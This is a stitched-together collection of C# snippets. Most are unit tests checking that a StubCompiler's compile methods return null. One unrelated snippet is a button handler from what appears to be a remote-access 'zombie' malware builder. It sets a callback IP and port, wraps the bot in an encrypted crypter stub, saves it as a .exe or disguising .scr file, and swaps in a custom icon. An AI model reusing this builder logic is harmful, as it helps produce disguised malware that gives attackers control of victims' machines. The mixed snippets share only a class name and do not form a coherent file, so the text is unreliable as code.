public void FromDom_ValidCodeCompileUnit_ReturnsExpected(CodeCompileUnit compilationUnit) { var compiler = new StubCompiler(); var options = new CompilerParameters(); options.ReferencedAssemblies.Add("referenced"); Assert.Null(compiler.FromDomEntryPoint(options, compilationUnit)); }
public void CompileAssemblyFromFileBatch_ValidFileNames_ReturnsExpected() { using (var file = new TempFile(Path.GetTempFileName(), 0)) { ICodeCompiler compiler = new StubCompiler(); Assert.Null(compiler.CompileAssemblyFromFileBatch(new CompilerParameters(), new string[] { file.Path })); } }
public void CompileAssemblyFromFile_FileExists_ReturnsExpected() { ICodeCompiler compiler = new StubCompiler(); using (var file = new TempFile(Path.GetTempFileName(), 0)) { Assert.Null(compiler.CompileAssemblyFromFile(new CompilerParameters(), file.Path)); } }
private void BuildButton_Click(object sender, RoutedEventArgs e) { string errorMsg = ""; if (string.IsNullOrWhiteSpace(ipTextBox.Text)) { errorMsg = "IP cannot be empty."; } else if (string.IsNullOrWhiteSpace(portTextBox.Text)) { errorMsg = "Port cannot be empty."; } else if (generateStubCheckbox.IsChecked == true && string.IsNullOrWhiteSpace(stubEncryptionPasswordTextBox.Text)) { errorMsg = "Encryption password cannot be empty."; } if (errorMsg.Length > 0) { MessageBox.Show(errorMsg, "Error", MessageBoxButton.OK, MessageBoxImage.Error); return; } SaveFileDialog dialog = new SaveFileDialog() { Filter = "Executable (.exe)|*.exe|Screensaver (.scr)|*.scr" }; // dialog.Filter = "Exe Files (.exe)|*.exe; if (dialog.ShowDialog() == true) { if (generateStubCheckbox.IsChecked == true) { if (!File.Exists(IconFilePath)) { IconFilePath = null; } ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), "temp.exe"); StubCompiler.Compile("temp.exe", stubEncryptionPasswordTextBox.Text, dialog.FileName, IconFilePath); File.Delete("temp.exe"); } else { ZombieBuilder.Build(new ClientSettings(ipTextBox.Text, int.Parse(portTextBox.Text)), dialog.FileName); if (File.Exists(IconFilePath)) { IconInjector.ChangeIcon(dialog.FileName, IconFilePath); } } } }
public void FromSourceBatch_ValidSources_ReturnsExpected(string[] sources) { var compiler = new StubCompiler(); Assert.Null(compiler.FromSourceBatchEntryPoint(new CompilerParameters(), sources)); }
public void CompileAssemblyFromSourceBatch_ValidSources_ReturnsExpected(string[] sources) { ICodeCompiler compiler = new StubCompiler(); Assert.Null(compiler.CompileAssemblyFromSourceBatch(new CompilerParameters(), sources)); }
public void FromDomBatch_ValidCodeCompileUnits_ReturnsExpected(CodeCompileUnit[] compilationUnits) { var compiler = new StubCompiler(); Assert.Null(compiler.FromDomBatchEntryPoint(new CompilerParameters(), compilationUnits)); }
public void CompileAssemblyFromDomBatch_ValidCodeCompileUnits_ReturnsExpected(CodeCompileUnit[] compilationUnits) { ICodeCompiler compiler = new StubCompiler(); Assert.Null(compiler.CompileAssemblyFromDomBatch(new CompilerParameters(), compilationUnits)); }